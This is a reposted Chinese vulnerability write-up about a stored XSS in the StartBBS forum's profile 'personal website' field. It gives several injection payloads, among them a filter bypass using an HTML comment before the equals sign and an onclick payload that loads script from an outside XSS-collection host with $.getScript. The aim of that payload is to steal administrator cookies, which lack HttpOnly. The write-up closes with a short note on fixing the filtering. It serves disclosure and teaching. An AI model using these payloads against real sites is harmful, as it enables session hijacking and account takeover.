网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

startbbs开源论坛存储型xss可盲打管理员 - 网站安全

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] startbbs某处对用户输出过滤不当导致存储型xssstartbbs 采用mvc架构设计。但是在对用户个人资料输入输出过滤不当,导致跨站脚本攻击。1、目标定位在:多个用户可以输入的地方,我拿个...

startbbs某处对用户输出过滤不当导致存储型xss
 
startbbs 采用mvc架构设计。但是在对用户个人资料输入输出过滤不当,导致跨站脚本攻击。
 
 
 
1、目标定位在:
 
多个用户可以输入的地方,我拿个人网站输入的地方做测试。
 
先输入" onmouseover=alert(1)
 
发现被过滤成:
 
 
经过测试之后,发现凡是带了onxx的,等号都会被过滤。
 
 
 
这个时候是不是就没办法了呢?非也非也。
 
经过fuzz之后,发现可以这么绕过:
 
onmouseover<!---->="alert(1)//
 
 
解释下:因为在html里头是用<!---->注释的,刚刚好,这里没有过滤<>字符。因此可以这么绕过。
 
 
 
但是最后在加载js的时候,发现事实远远没有我想的那么简单。
 
万恶的竟然控制了长度,这个时候就不能用onmouseover,只能采用onclick。
 
而因为站点采用了jq,因此我们可以这么写
 
"onclick<!---->=$.getScript('http://xss.tw/5524')
 
最后问题又来了,我们发现这么写不能触发,原因是多了一个双引号:
 
 
非常有意思,我们可以在 $.getScript之前加一个"闭合他。
 
"onclick<!---->="$.getScript('http://xss.tw/5524')
 
 
 
最后用户点击了我的个人网站之后,就会变成:
 
 
可能这里有一个疑问,为什么获取不了数据?
 
因为最近xss.tw平台cookie数据爆满了,无论是什么数据都会显示为空。。很悲催- -
 
 
 
我们可以看看自己的cookie,是没有httponly的:
 
 
 
证实一下:
 


上面已经写清楚了。。
虽然最后因为xss.tw的原因没有拿到cookie登陆,但是已经证明可以通过这样的方式引入js,并且cookie键值没加httponly,是可以盲打管理员的。
修复方案:
仔细检查下用户输入与输出。白名单过滤

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论